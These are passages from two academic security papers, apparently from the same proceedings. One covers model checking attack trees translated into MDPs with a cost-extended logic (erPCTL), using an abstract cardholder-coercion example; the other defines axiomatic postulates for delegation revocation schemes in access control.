three groups; those that are inside the cost interval, those that are below the
cost interval and those that are above the cost interval.

We consider the minimum solution of the equation system above. Like in
the case with only a lower bound, here as well the system above does not have
a unique solution. Again, we can use the techniques presented in [10,11] and
modify the MDP in order to ensure a unique solution.

4.2 Model Checking the Operator CI(ψ)

Let us now present the model checking algorithm for the operator CI(ψ). We
need to compute the exact cost of the paths satisfying the formula ψ and check
whether they are in I. The procedure reduces to the computation of the minimum
and the maximum values depending on the bound:

Sat(C≥c(ψ) = {s ∈ S | ( inf
σ∈Σ

inf
π∈Pathσ

s

inf cost(π, ψ)) ≥ c}

Sat(C≤c(ψ) = {s ∈ S | (sup
σ∈Σ

sup
π∈Pathσ

s

sup cost(π, ψ)) ≤ c}

In the following we explain how to determine the minimum and maximum
cost, separately for each path formula ψ.
The Operator Next (ψ = Xφ). We start with the computation of the mini-
mum cost for the operator next. The minimum cost

ymin
s = inf

σ∈Σ
inf

π∈Pathσ
s

inf cost(π,Xφ)
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for each state s can be computed by means of the following equations:

ymin
s =

⎧
⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎩

+∞ if s ∈ S�

minP (s,s′)>0

{
r(s) + r(s′) if s′ ∈ Sat(φ)
+∞ otherwise if s ∈ SP

minl∈α

{
r(s) + r(T (s, l)) if T (s, l) ∈ Sat(φ)
+∞ otherwise if s ∈ SA

The equation system above has a unique solution.
The computation of the maximum cost is performed analogously.

The Operator Until (ψ = φ1Uφ2). Similarly to the computations of the oper-
ator U for PJ(ψ | I), the minimum cost of a path satisfying the formula φ1Uφ2

can be computed recursively. For computing the minimum cost of a path, we stop
the first time φ2 is satisfied, i.e., we compute the cost of the path π = s0 · · · sj

where j = min{j | π[j] |= φ2 ∧ (∀k < j : π[k] |= φ1)}.
Thus, the computation of

ymin
s = inf

σ∈Σ
inf

π∈Pathσ
s

costinf(π, φ1Uφ2)

corresponds to solving the following equations:

ymin
s =

⎧
⎪⎪⎨

⎪⎪⎩

r(s) + min({ymin
s′ | s |= φ1 ∧ P (s, s′) > 0} ∪{0 | s ∈ Sat(φ2)})

if s ∈ SP ∨ s ∈ S�
r(s) + min({ymin

s′ | s |= φ1 ∧ T (s, l) = s′} ∪{0 | s ∈ Sat(φ2)})
if s ∈ SA

Note that the system is solved in the set Q ∪ {−∞,+∞}, where inf ∅ =
min ∅ = +∞. Thus, when there is no state satisfying the formula (the set of
solutions is empty), the system returns +∞. The equation system above might
give more than one solution. In this case we consider the maximum one.

The equations for computing supσ∈Σ supπ∈Pathσ
s

costsup(π, φ1Uφ2)) can be
obtained by replacing “min” with “max” in the system above. Observe that in
the computation of the maximum cost we do not stop the first time φ2 is satisfied
but we continue till the last time it is satisfied.

For a finite MDP M and an erPCTL formula φ, we expect the complexity
of the model checking algorithm to be polynomial in the size of M and linear in
the size of the formula φ.

5 Analysis of Attack Trees

So far we have defined the extended logic erPCTL and presented a model check-
ing algorithm for it. We now formalise the evaluation of attack scenarios using
probabilistic model checking of erPCTL. The basic idea is to transform attack
trees into MDPs, as an attack tree with probability and cost attributes encodes
behaviour encompassing both probabilistic and nondeterministic features.
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Before presenting the translation, it is worthwhile noticing that in an attack
tree the order in which the basic actions are performed is not fixed. However, in
the MDP this needs to be made explicit. Since we assume that the basic actions
of a tree are independent, we will also assume any linear order of the set of basic
actions Act.

5.1 From Attack Trees to MDPs

We construct an MDP M = (S, α, P, T, s0, AP,L) from an attack tree t accord-
ing to Table 1, where s0 = construct[t](Act, ∅, ∅). The set of states S is the dis-
joint union of sets SA, SP , S�, S = SA � SP � S�, while the set of actions
is α = {Y,N}. The transition functions P, T and the labelling function L
are constructed according to Table 1, and the set of atomic propositions is
AP = Act � {success, failure}. The target state space S is exponential in the
size of t, as often the size of a model is exponential in the size of the description
that gives rise to the model.

The call construct[t](Act, ∅, ∅) of the recursive function construct, defined in
Table 1, constructs an MDP from t. The procedure first constructs all nondeter-
ministic transitions of the target MDP, and then the probabilistic transitions.

Throughout the evaluation of the function we assume to have an
attack tree t as a global parameter. At each step of the evaluation of
construct[t](A,Done,Succ) the first parameter A corresponds to the remaining
set of attacker’s basic actions that has still to be evaluated, the second parame-
ter Done is the set of attempted actions, and the last parameter Succ is the set
of attempted and succeeded actions. The construction function is structurally
defined over the set of basic actions as explained below.

Table 1. The construction of an MDP from an attack tree
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If the set of remaining actions contains the action a, A = A′ ∪ {a}, we
create a nondeterministic state in the MDP labelled with a and with two out-
going transitions. One transition corresponds to attempting a and is labelled
with the action Y and cost c(a), while the other transition corresponds to not
attempting a and is labelled with the action N and cost 0. The successors of the
state are constructed recursively, by calling construct[t](A′,Done∪{a},Succ) and
construct[t](A′,Done,Succ), respectively.

If the set of remaining actions is empty, A = ∅, while the set of attempted
actions contains the action a, Done = Done′ ∪ {a}, we create a probabilistic
state labelled with a and with the outgoing transitions corresponding to the
success and the failure of the attempted action a. We label these transitions with
probabilities p(a) and 1−p(a), and construct the successor of the state by calling
construct[t](∅,Done′,Succ ∪ {a}) and construct[t](∅,Done′,Succ), respectively.

If both the set of remaining actions and the set of attempted actions are
empty, A = ∅,Done = ∅, then we are at the end of the procedure. We create a
final state and label it with the result of the evaluation of t over the success of
the basic actions, [[t]](Succ), where [[t]] is the Boolean formula of which the tree t
is a parse tree and the atoms in the formula are tt if the corresponding actions
are in the set Succ and ff otherwise.

Observe that MDPs constructed from attack trees are finite and acyclic.
Example. Let us introduce an example that we will develop in the following. We
consider a small fragment of the real-life scenario of cloud environment studied
in the project TREsPASS [20], where an attacker wants to steal money from a
cardholder by forcing him/her to pay for fake services. In order to do so, the
attacker needs to threaten or blackmail. For a successful threatening the attacker
should threaten the cardholder and access the household. In order to succeed in
blackmailing the attacker should collect necessary information and blackmail the
cardholder. The corresponding attack tree is shown in Fig. 2, where we label the
leaves to refer to them easily.

∨
Make cardholder pay

∧
threaten

∧
blackmail

access
household

a

threaten
card-
holder

t

collect
infor-
mation

c

blackmail
card-
holder

b

Fig. 2. An attack tree for forcing the cardholder to pay

The probability of success and cost values for the basic actions of the tree
are given in Table 2, and we consider the following linearly ordered set for basic
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Table 2. Probabilities and costs for the basic actions in the example

Label Name of the node Probability Cost

a Access household 0.6 70

t Threaten cardholder 0.3 30

c Collect information 0.55 50

b Blackmail cardholder 0.2 30

astart

t

t

Fig. 4(a)

Fig. 4(b)

Fig. 5(a)

Fig. 5(b)

Y

N

Y

N

Y

N

Fig. 3. The MDP Mt constructed from the tree t. Due to the size of Mt we have split
it into subfigures

actions, Act = {a, t, c, b}. Determining realistic estimates for the probabilities
and costs for basic actions is a research topic in itself and is outside the scope
of this work.

Let us construct an MDP from the tree t displayed in Fig. 2, by following the
rules described in Table 1. First, all nondeterministic transitions are constructed,
and then the probabilistic ones. The resulting MDP Mt is presented in Figs. 3,
4 and 5.

5.2 Evaluation of Attack Scenarios

In the previous section we have proposed a translation from attack trees to
MDPs. The main focus of this section is to show how to evaluate security prop-
erties by means of model checking erPCTL. We start with a discussion of the
security properties of interest and then discuss their representation in erPCTL.
Security properties. Attributes to basic actions play an important role in
the analysis of an attack scenario. They are used to express various properties of
interest. In this paper we characterise the basic actions of an attack scenario with
the success probability and the cost of performing the action. The properties we
study range from quantitative to qualitative as well as from one-objective to
multiple-objective properties. We formalise them in erPCTL.

We study probability-related properties such as “is the success probability of
an attack greater than or equal to 0.2?” or “what is the maximum probability
of an attack?”. The first qualitative property is expressed in erPCTL as the
formula P≥0.2(F success), while the second quantitative property is express as
the formula Pmax=?(F success).
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Fig. 4. A fragment of the MDP Mt constructed from the tree t, where � stands for
success and ✗ stands for failure

The characterisation of basic actions with cost allows to compute the cheapest
attack, phrased as “what is the minimum cost of an attack?”. This property is
expressed by the formula Cmin=?(F success). Moreover, having a cost budget c
for the attacker, we can study more specific properties. For example, the attacker
might want to know if whatever he/she does the cost of all successful attacks
is in I, i.e., whether the attacker can always succeed by spending no more than
the budget. We can express such property with the question “is the cost of
all successful attacks within the budget c?” and phrase it in erPCTL with the
formula C[0,c](F success). On the other hand, a defender who is looking at the
attack scenario might want to verify whether all successful attacks are outside
the attacker’s budget, i.e., “is the cost of all successful attacks greater than or
equal to c?”. The corresponding formula is C[c,∞)(F success).

So far the cost-related properties we considered are evaluated over all attacks.
However, the (clever) attacker might want to know if there exists at least one suc-
cessful attack within the budget c. We can express this property as the formula
¬C[c,∞)(F success).

Our framework allows also to study multiple-objective properties such as “is
there an attack with success probability at least 0.4 and cost at most 1500?” or
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Fig. 5. A fragment of the MDP Mt constructed from the tree t

“what is the maximum probability of an attack with cost at most 1500?”. They
expressed by the formulae P≥0.4(F success | [0, 1500]) and Pmax=?(F success |
[0, 1500]), respectively.
Example. Consider the MDP given in Fig. 3. We exploit the model check-
ing algorithm of erPCTL to verify the security properties mentioned above.
For example, the verification of the probabilistic query P≥0.2(F success) returns
“false”, meaning that there exists at least one attack with success probability
less than 0.2. We compute the maximum success probability of an attack with
the query Pmax=?(F success), which is 0.549.

Assume the attacker has a cost budget equal to 1500 and let us check whether
all successful attacks are within the budget. The query C≤1500(F success) returns
“false” meaning that there exists a successful attack with cost greater than the
budget. We can also compute the minimum cost of a successful attack with the
query Cmin=?(F success), which is 900.

Finally, we verify multi-objective queries, such as P≥0.4(F success | [0, 1500])
and Pmax=?(F success | [0, 1500]). The first property evaluates to “false” meaning
that there is no attack with probability at least 0.4 and cost at most 1500, while
the second property computes the maximum probability of an attack with cost
at most 1500, which is 0.18.

6 Conclusion

Attack trees constitute a useful tool to study attack scenarios and to present
the behaviour of an attacker in an intuitive way. Security attributes, associated
with basic actions of attack trees, provide the basis for various types of analysis.
Many analyses focus on the evaluation of an exact cost, i.e., the sum of the costs
of basic actions leading to an attack, which allows to investigate the required
resources for an attack. Exact cost analyses are used to identify the cheapest
attacks or to verify that a successful attack is within an attacker’s budget.
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Probabilistic model checking is used to verify automatically whether or not
a model satisfies properties of interest specified in rPCTL. This logic allows to
reason about probability and expected rewards, thus encompassing many secu-
rity properties typically investigated on attack trees. However, rPCTL operators
cannot evaluate exact cost, preventing to rely on probabilistic model checking as
a general framework for attack trees analysis.

In this work, we extended rPCTL with cost-related operators. In the extended
logic erPCTL the defined cost-bounded probabilistic operator evaluates the
probability of an event satisfying the given cost bounds, while the exact cost
operator analyses the cost of the occurrence of an event. Moreover, we developed
a model checking algorithm for the novel operators of erPCTL. The algorithm
works on standard MDPs, that we obtain from attack trees with a transformation
detailed in the paper.

Since we have considered a standard attack tree model, most properties of
interest concern reachability of a success state, i.e., the path formula has the
form (F success). However, other path formulae allow to capture more elaborate
scenarios. For instance, considering the notion of a detected attack, then we
would verify whether the property (¬detected U success) holds or not.

The benefit of our contribution is two-fold. On the one hand, we have
described a unifying framework where different analyses of attack trees can be
seamlessly encoded, studied, and compared. On the other hand, the tool support
available for model checking problems can be leveraged to analyse attack trees,
and perhaps the features of the tools can inspire new interesting analyses.

As future work, we plan to provide a proof-of-concept implementation of
our framework. Moreover, strategy synthesis seems a natural extension to the
framework, so as to obtain explicitly what are the attacks that satisfy a given
erPCTL property, if any. As for improving the model checking algorithm, the
formula CI(ψ) could be verified by resorting to weighted-CTL techniques, as
probabilities play no role. Finally, it would be worth moving from attack trees
and MDPs to attack-defence trees and games, and propose a logic for evaluating
exact cost properties of an attack-defence scenario.
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Abstract. In access control frameworks with the possibility of delegat-
ing permissions and administrative rights, delegation chains can form.
There are different ways to treat these delegation chains when revoking
rights, which give rise to different revocation schemes. Hagström et al.
[11] proposed a framework for classifying revocation schemes, in which
the different revocation schemes are defined graph-theoretically. At the
outset, we identify multiple problems with Hagström et al.’s definitions
of the revocation schemes, which can pose security risks. This paper is
centered around the question how one can systematically ensure that
improved definitions of the revocation schemes do not lead to similar
problems. For this we propose to apply the axiomatic method origi-
nating in social choice theory to revocation schemes. Our use of the
axiomatic method resembles its use in belief revision theory. This means
that we define postulates that describe the desirable behaviour of revoca-
tion schemes, study which existing revocation frameworks satisfy which
postulates, and show how all defined postulates can be satisfied by defin-
ing the revocation schemes in a novel way.

1 Introduction

In ownership-based frameworks for access control, it is common to allow princi-
pals (users or processes) to grant both permissions and administrative rights to
other principals in the system. Often it is desirable to grant a principal the right
to further grant permissions and administrative rights to other principals. This
may lead to delegation chains starting at a source of authority (the owner of a
resource) and passing on certain permissions to other principals [5,12,14,15].

Furthermore, such frameworks commonly allow a principal to revoke a per-
mission that she granted to another principal [2,5,11,16]. Depending on the rea-
sons for the revocation, different ways to treat the delegation chain can be desir-
able [1,7,11]. For example, if one is revoking a permission given to an employee
because he is moving to another position in the company, it makes sense to keep
in place the permissions she previously granted; but if one is revoking a permis-
sion from a user who has abused his rights and is hence distrusted, it makes sense
to delete the permissions she previously issued. Any algorithm that determines
which permissions to keep intact and which ones to delete when revoking a per-
mission is called a revocation scheme. Revocation schemes are usually defined in
a graph-theoretical way.

c© Springer-Verlag GmbH Germany 2017
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Hagström et al. [11] have presented a framework for classifying possible revo-
cation schemes along three different dimensions: the extent of the revocation to
other grantees (propagation), the effect on other grants to the same grantee
(dominance), and the permanence of the negation of rights (resilience). This
classification was based on revocation schemes implemented in database man-
agement systems [3,4,9,10]. The framework’s design decisions are carried over
from these database management systems and are often not fully motivated.

We identify a number of problems with Hagström et al.’s framework and the
definitions of the revocation schemes included in the framework. Some of these
problems pose security risks. In order to avoid that an improved framework turns
out to have similar undesirable properties as those we identified in Hagström et
al.’s framework, we propose to formally study the merits and demerits of various
definitions of revocation schemes using the axiomatic method. This methodology
originates in social choice theory, and is used in a way akin to ours in belief
revision theory (see [13] for an overview of this methodology in belief revision
and its connections to social choice theory). We will state formal properties,
called postulates, which formalize our intuitions about the desired behaviour
of the revocation schemes. We will study which postulates are satisfied by the
existing revocation frameworks, and show how all of them can be satisfied by
defining the revocation schemes in a novel way.

The idea to use this methodology in the study of delegation revocation was
first put forward in Cramer et al. [7] (the main author of which is also the main
author of the current paper). The main goal of Cramer et al. [7] was to state
postulates that fully characterize all the revocation schemes. This could only be
achieved by introducing a dedicated logic, called Trust Delegation Logic, that
allows to formalize the reasons that principals have for delegating and revoking.
However, this logic is highly complex and has many non-trivial design choices,
so that this approach leaves open the question whether the logic really correctly
formalizes our intuitions about the desired behaviour of revocation schemes. In
this paper, we instead define simpler postulates, whose meaning can be under-
stood more readily. This way of applying the axiomatic method is more in line
with standard applications of this methodology in social choice theory and belief
revision. We show that one of the simple postulates that we introduce in this
paper is not satisfied by the framework that was introduced in Cramer et al. [7].
This means that the approach of the present paper, based on simpler postulates,
can help to detect problems that the approach from [7] cannot detect.

The rest of the paper is structured as follows: In Sect. 2 we discuss the work of
Hagström et al. [11] that the present paper is heavily based on. After specifying
some formal preliminaries in Sect. 3.1, we motivate and define four postulates for
revocation schemes in Sect. 3.2, and show which of these postulates are satisfied
by which existing delegation-revocation frameworks in Sect. 3.3. Sections 4–6 are
dedicated to defining a delegation-revocation framework that satisfies all the
defined postulates. This is done in a stepwise way: First we define in Sect. 4 the
framework Dom, which only covers the distinction made in the dominance dimen-
sion. Section 5 extends this framework to DR, which also covers the resilience



234 M. Cramer and G. Casini

dimension, which is further extended in Sect. 6 to the framework DPR that cov-
ers all three dimensions. In Sect. 7, we conclude the paper and discuss some
possible further research.

A technical report with the proofs of the theorems can be downloaded at
http://orbilu.uni.lu/handle/10993/29413.

2 Related Work

The only existing work on delegation revocation that takes the same method-
ological approach as the present paper is Cramer et al. [7]. The relation between
the present paper and [7] has already been sketched in the Introduction, and
will be discussed further throughout the rest of the paper. In the present section
we discuss the work of Hagström et al. [11] that both the present paper and [7]
are heavily based on, and explain a terminological issue.

2.1 Hagstöm et al.’s Framework

Hagström et al. [11] have introduced three dimensions according to which revo-
cation schemes can be classified: dominance, propagation and resilience.

Dominance. This dimension deals with the case when a principal losing a per-
mission in a revocation still has permissions from other grantors. If these other
grantors’ revocation rights are dependent on the revoker, the revoker can domi-
nate over these grantors and revoke the permissions from them. This is a strong
revocation. The revoker can also choose to make a weak revocation, where per-
missions from other grantors to a principal losing a permission are kept.

Propagation. The decision of a principal i to revoke an authorization previously
granted to a principal j may either affect only the direct recipient j or propagate
and affect all the other users in turn authorized by j. In the first case, we say
that the revocation is local, in the second case that it is global.

Resilience. This dimension distinguishes revocation by removal (deletion) of
positive authorizations from revocation by issuing a negative authorization which
just inactivates positive authorizations. In the first case another principal may
grant a similar authorization to the one that had been revoked, so the effect of the
revocation does not persist in time. In the second case a negative authorization
will overrule any (new) positive permission given to the same principal, so its
effect will remain until the negative permission is revoked. We call a revocation
of the first kind a delete or non-resilient revocation, and a revocation of the
second kind a negative or resilient revocation.

Since there are two possible choices along each dimension, Hagström et al.’s
framework allows for eight different revocation schemes. The behaviour of the
revocation schemes is defined differently depending on whether precedence is
given to positive or negative authorizations. Cramer et al. [7] have argued for
integrating this precedence into the dominance dimension, thereby replacing
the binary distinction along the dominance dimension by a ternary distinction

http://orbilu.uni.lu/handle/10993/29413
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between strong, predecessor-takes-precedence (p-t-p) and weak revocations. Here
p-t-p has the meaning that Hagström et al. give to strong, while a strong revo-
cation dominates over all other grantors’ authorizations, no matter whether the
principal targeted by the revocation is dependent on the principal performing the
revocation or not. This design decision and terminological decision are motivated
in Sect. 3.1 of Cramer et al. [7].

2.2 Problems with Hagström et al.’s Framework

In this section we analyze some problems with the revocation framework by
Hagström et al. [11], and informally sketch how we propose to solve them.1 As
many of these problems amount to a principal having access right in a situation
where the intended meaning of the used revocation scheme implies that the
principal should not have access right, these problems can pose security risks.

(1) In Hagström et al.’s framework, the relative timing of a granting a permis-
sion and a Strong Global Delete revocation influences the effect of the revocation
in an undesirable way. Let us illustrate this problem with an example.

Example 1. User A issues an authorization to users B and C. B plans to grant
this authorization to C. At the same time A plans to perform a Strong Global
Delete revocation of B’s rights. Depending on which user performs the planned
action first, the outcome will be different in Hagström et al.’s framework. If the
Strong Global Delete is performed first, user C will be unaffected. But if B first
delegates to C, then user C will also lose his access right as a consequence of the
Strong Global Delete from A to B.

One way to explain why this behaviour is problematic is to note that if
the revocation was a Weak Global Delete instead of a Strong Global Delete, C
would be unaffected even if B first delegated to C. But the difference between
a Strong Global Delete and a Weak Global Delete is supposed to be only about
the dominance of the revocation, i.e. about what happens when others have
delegated to B. But as no one else has delegated to B, there should be no
difference between the two revocations.

Another way to explain why this behaviour of the Strong Global Delete is
problematic is to note that whether B attempts to delegate to A shortly before
or shortly after the Strong Global Delete should not make a difference. The tim-
ing of a delegation with respect to a Strong Global Delete should only matter if
it is a delegation of a right to B, as the revocation is non-resilient. But since the
revocation is global, the timing of a delegation performed by B should not matter.
1 In Cramer et al. [7] five problems with Hagström et al.’s framework are discussed. As

problems (4) and (5) from [7] are also relevant to the present paper, we have taken
them over into the present paper, where they are listed as problems number (3) and
(4) respectively. Problem (1) below is based on problem (1) from [7], but the expla-
nation of the problem has been significantly reworked and extended. Problem (2)
below has not been presented in print before. Two further problems with Hagström
et al.’s framework not relevant to the present paper were presented in Sects. 3c and
3d of Cramer et al. [6].
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(2) A similar problem is faced by the Strong Local Negative revocations in
Hagström et al.’s framework:

Example 2. The SOA delegates a right to user A, who delegates it further to user
B, who delegates it further to user C. Now A plans to delete the authorization she
has issued to user B, and at the same time, the SOA plans to perform a Strong
Local Negative revocation of B’s rights. Depending on which user performs the
planned action first, the outcome will be different in Hagström et al.’s framework.
If the Strong Local Negative is performed first, C will conserve his access right
even after the deletion of the authorization from A to B. But if A deletes the
authorization to B first, then user C will lose his access right.

One way to explain why this behaviour of the Strong Local Resilient is prob-
lematic is to note that the deletion of the authorization from A to B is a non-
resilient revocation. Hagström et al. say about non-resilient revocations that
after the revocation, “no trace remains of the fact that the authorization has
been granted and then revoked”. But in Example 2, there does remain a trace of
the authorization from A to B, namely the fact that C has access right (which
materializes through an auxiliary authorization from the SOA to C, which is
created only because there exists an authorization from A to B at the moment
of the local revocation).

Another way to explain why this behaviour of the Strong Local Resilient is
problematic is to note that while for a Strong Local Resilient revocation of B’s
rights the timing of delegations performed by B with respect to the revocation
is relevant (as it is a local revocation), the timing of other actions that affect B
with respect to the revocation should not make a difference, as the revocation
is strong and resilient.

(3) Hagström et al. motivate the distinction between delete and negative revo-
cations mainly through the notion of resilience as defined in Sect. 2.1. However,
this definition renders the notion of a weak resilient revocation contradictory,
since a weak revocation does not affect authorizations issued by others than the
revoker. (Hagström et al. motivate the usage of weak negatives by pointing out
that they are useful for temporary revocations, but as discussed in Cramer et al.
[7], a better way to make temporary revocations possible is to not delete the
forward chain in a delete revocation.)

Furthermore, p-t-p and strong deletes would have undesirable effects, as illus-
trated by the following example:

Example 3. User A issues an authorization to user B, and gives user C the right
to perform strong revocations. User C performs a Strong Global Delete on B,
removing without traces the authorization provided to B by A. Later A realizes
that C cannot be trusted to perform strong revocations, and takes away B’s
right to do so through a Strong Global Delete revocation. Even though C can
no longer perform strong revocations, the effect of his strong delete persist: B
does not have the right originally issued to him by A until someone issues a new
authorization to him.
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Hence we do not have a p-t-p or strong delete revocation in our framework, but
instead have the distinction between a resilient and a non-resilient negative for
p-t-p and strong revocations. To conclude, if the dominance of a revocation is p-
t-p or strong, there are two options along the resilience dimension, non-resilient
and resilient, both of which are defined through negative authorizations. But if
the dominance is weak, the value of the resilience dimension has to be “non-
resilient”. A weak non-resilient revocation is defined through the deletion of a
positive authorization, and is therefore also called a “weak delete”.

(4) Hagström et al. do not allow negative authorizations to be inactivated.
The reason they give is that they “do not want a revocation to result in a subject
having more permissions than before the revocation”. However, the deletion of
negative authorizations is allowed, even though it may have the same effect.
We do allow negative authorizations to be inactivated, but the only kind of
revocation that can result in a subject having more permissions than before is
a revocation of someone’s right to perform strong revocations, and in this case
this is a desirable property.

2.3 Revocations and Denials

A revocation of a principal’s rights removes rights that the principal already has.
A denial of rights on the other hand can be issued even when the principal does
not yet have the concerning rights, and has the effect that other principals will
no longer be able to effectively grant rights to the affected principal.

Negative authorizations can function as a form of denial. When, for example,
j does not yet have the rights in question and i issues a negative authorization
for those rights to j, this negative authorization functions like a denial rather
than like a revocation. The work in this paper applies to negative authoriza-
tions independently of whether they are used to revoke existing rights or deny
rights. We will for the rest of this paper only use the term “revocation” and not
“denial”, in order to be consistent with the terminology used in the papers that
we extensively refer to.

3 Postulates for Delegation and Revocation

In this section we formally define four postulates for delegation and revocation
that formalize desirable properties of a delegation-revocation framework. The
postulates are justified on the basis of the intended meaning of the possible
values along the three revocation dimensions. Our justification of the postulates
is partially based on the discussion of the problems considered in Sect. 2.2.

From a formal point of view, the role of a delegation-revocation framework
is to specify which users will have access given that certain delegations and
revocations have been performed in a certain temporal order. In order to make
this more precise, we first introduce some notation.
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3.1 Preliminaries

Let S be the set of principals (subjects) in the system, let O be the set of objects
in the system and let A be the set of access types. For every object o ∈ O, there
is a source of authority (SOA), i.e. the manager of object o.

For any α ∈ A and o ∈ O, the SOA of o can grant the right to access α
on object o to other principals in the system. Secondly, the SOA can delegate
this granting right further. Thirdly, the SOA can grant the right to perform
strong revocations and to delegate this right further. Accordingly we have three
permissions: access right (A), delegation right (D) and strong revocation right
(S). We assume that delegation right implies access right. The set {A,D, S} of
permissions is denoted by P.

There is no interaction between the rights of principals concerning different
access-object pairs (α, o). For this reason, we can consider α and o to be fixed
for the rest of the paper, and no longer explicitly mention them. We use W, P,
S, L, G, N and R as abbreviations for weak, p-t-p (predecessor-takes-precedence),
strong, local, global, non-resilient, resilient and delete respectively. We define Σ∗

to be the set {W, P, S}× {L, G}× {N, R}, i.e. the set of all conceivable combi-
nations of revocation dimension values (assuming that there are three possible
values for the dominance dimension as explained at the end of Sect. 2.1).

Let i and j be two principals, and let π be a permission π. We write
grant(i, j, π) for i’s action of granting permission π to j. Given (d, p, r) ∈ Σ∗,
we write revoke(i, j, π, d, p, r) for i’s action of revoking permission π from j with
dominance d, propagation p and resilience r. We say that the actions grant(i, j, π)
and revoke(i, j, π, d, p, r) are performed by the principal i and targeted at the
principal j.

Since delegation right implies access right, an action grant(i, j,D) can only be
performed in combination with the action grant(i, j, A). By taking the contrapos-
itive, the connection is reversed for revocations: The action revoke(i, j, A, d, p, r)
can only be performed in combination with the action revoke(i, j,D, d, p, r).

We define a delegation-revocation profile to be a sequence of delegation and
revocation actions such that directly before any action of the form grant(i, j,D)
there is an action of the form grant(i, j, A), and directly before any action of the
form revoke(i, j, A, d, p, r) there is an action of the form revoke(i, j,D, d, p, r). For
example, the profile

〈grant(A,B, A), grant(A,C, S), revoke(C,B, α,S,G,N), revoke(A,C, S,S,G,N)〉
formally expresses the delegation and revocation actions that were taken in
Example 3 in Sect. 2.2 as well as there temporal ordering. Given two delegation-
revocation profiles Π1 and Π2, we write Π1 ⊕ Π2 for the profile resulting from
concatenating the sequence Π1 with the sequence Π2.

Let Σ ⊆ Σ∗ be some set of revocation dimension combinations. We say
that a profile Π is over Σ if for every revocation action revoke(i, j, π, d, p, r)
in Π, {d, p, r} ∈ Σ. A delegation-revocation framework over Σ is a function F
that takes as input a delegation-revocation profile Π over Σ, and outputs a set
F (Π) of principals that encodes the information which principals have access
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and which ones do not have access if delegation and revocation actions have
been performed as specified by Π.

For example, the Hagström et al. [11] define two delegation-revocation frame-
works: The one that describes the behaviour of the revocations when pos-
itive revocations have precedence is a delegation-revocation framework over
{W, P} × {L, G} × {N, R} (even though they use the terms “strong”, “delete”
and “negative” instead of “p-t-p”, “non-resilient” and “resilient”), while the
framework that describes the behaviour of the revocations when negative autho-
rizations have precedence is in place is a delegation-revocation framework over
{S}×{L,G}×{N, R}. Below we call these two delegation-revocation frameworks
H+ and H− respectively. In Cramer et al. [7] a delegation-revocation framework
(called C below) over the set Σ′ := ({W}× {L, G}× {N})∪ ({P, S}× {L, G}×
{N,R}) is defined, whereas in Cramer et al. [6], the restriction of this framework
over {(P,G,R)} is defined (i.e. the only revocation considered is P-t-p Global
Resilient). The set Σ′ is also the most extensive set over which we define a
delegation-revocation framework in this paper. The reason for not defining a
delegation-revocation framework over the full set Σ∗ of conceivable revocation
dimension combinations is that weak resilient revocations do not make sense, as
discussed under point (3) in Sect. 2.2.

Delegation-revocation frameworks are usually defined with the help of a
delegation-revocation graph, i.e. a graph whose nodes are principals and whose
labelled edges encode relevant information about the granting and revocation
actions taken by principals. The delegation-revocation framework specifies how
the graph is to be modified given a certain action, and how to determine who
has access given a certain graph.

One might be tempted to think that delegation-revocation profiles are prac-
tically the same thing as delegation-revocation graphs. However, the distinction
between them is central to our methodology. It is a distinction akin to the dis-
tinction between the syntax and the semantics of a formal logical language.
The delegation-revocation profiles play the role of the syntax: They encode the
observable granting and revocation action of the principals, independently of
how we decide to interpret these actions. One could be tempted to think that
the semantics of a delegation-revocation profile should just be the set of princi-
pals that get access based on that profile. But that information is not enough as
a semantic structure, because two profiles that lead to the same principals hav-
ing access can nevertheless behave differently: Further actions that are added to
one of these two profiles can lead to different access rights depending on which
profile the actions were added to. The delegation-revocation graphs give us the
additionally structural information that is needed to semantically distinguish
profiles that behave differently over time: They allow us to interpret what a
sequence of actions means, both in the sense of allowing us to determine who
has access after that sequence of actions, as well as allowing us to determine who
will have access if certain further actions are taken.
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3.2 The Four Postulates

Given that any function from the set of delegation-revocation profiles to the pow-
erset of the set of principals counts as a delgation-revocation framework, there
are many different ways of defining delegation-revocation frameworks. However,
we are not really interested in arbitrary delegation-revocation frameworks, but
only in those frameworks that behave in a way that meets our expectations of
what it means to grant a permission and to revoke a permission with a cer-
tain combination of revocation dimension values. The goal of the axiomatic
approach that we take is to formalize some of these expectations so that we
can study which graph-theoretic definitions of delegation-revocation frameworks
meet which expectations. Following the belief revision literature, whose method-
ological approach we follow, we call the formalized formulation of these expec-
tations postulates.

We should stress that in this paper we are not aiming at formalizing all
our expectations about what granting and the revocation dimensions mean, nor
to specify a set of postulates that uniquely determines a delegation-revocation
framework. The latter aim was achieved by Cramer et al. [7], but at the expense
of specifying a very complicated postulate based on a dedicated logic (Trust
Delegation Logic) with many non-trivial design choices. The present paper com-
plements that approach by formulating simpler postulates, whose meaning can
be understood more readily.

The first postulate that we consider is called Locality, as it formalizes a
central desirable feature of local revocation schemes: a local revocation should
only affect the principal at which it is targeted. Formally, the fact that the
delegation-revocation framework F satisfies Locality can be expressed as follows:

Locality. Let Σ ⊆ Σ∗ be a set of revocation dimension combinations.
Then for any delegation-revocation profile Π over Σ and any i, j ∈ S,
π ∈ P, d ∈ {W,P,S} and r ∈ {N,R} such that (d,L, r) ∈ Σ,

F (Π ⊕ 〈revoke(i, j, π, d,L, r)〉) ∪ {j} = F (Π) ∪ {j}.
The second postulate that we consider is called Resilience Indifference, as

it formalizes the idea that when a revocation is at then end of a delegation-
revocation profile, it does not make a difference whether it is a resilient or a
non-resilient revocation. Formally:

Resilience Indifference. Let Σ ⊆ Σ∗ be a set of revocation dimension
combinations. Then for any delegation-revocation profile Π over Σ and
any i, j ∈ S, π ∈ P, d ∈ {W,P,S} and p ∈ {L,G} such that (d, p,N) ∈ Σ
and (d, p,R) ∈ Σ,

F (Π ⊕ 〈revoke(i, j, π, d, p,N)〉) = F (Π ⊕ 〈revoke(i, j, π, d, p,R)〉).
The motivation for this postulate is that the intended difference between a
resilient and a non-resilient revocation is that the non-resilient revocation can be
overridden by a later granting action, whereas a resilient revocation cannot be
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overridden in this way. As this difference only plays a role when there is some
granting action after the revocation, it cannot make a difference when the revo-
cation is the last action that has been performed.

The third postulate is called Access from Revocation, and formalizes the idea
that the only revocation that can lead to any principal having more access than
before the revocation is a revocation of permission S (the right to perform a
strong revocation). Formally:

Access from Revocation. Let Σ ⊆ Σ∗ be a set of revocation dimension
combinations, and let Π be a delegation-revocation profile over Σ. Let a
be a revocation action concerning a permission other than S. Then

F (Π ⊕ 〈a〉) ⊆ F (Π).

As explained in the discussion of problem (4) in Sect. 2.2, this postulate is a
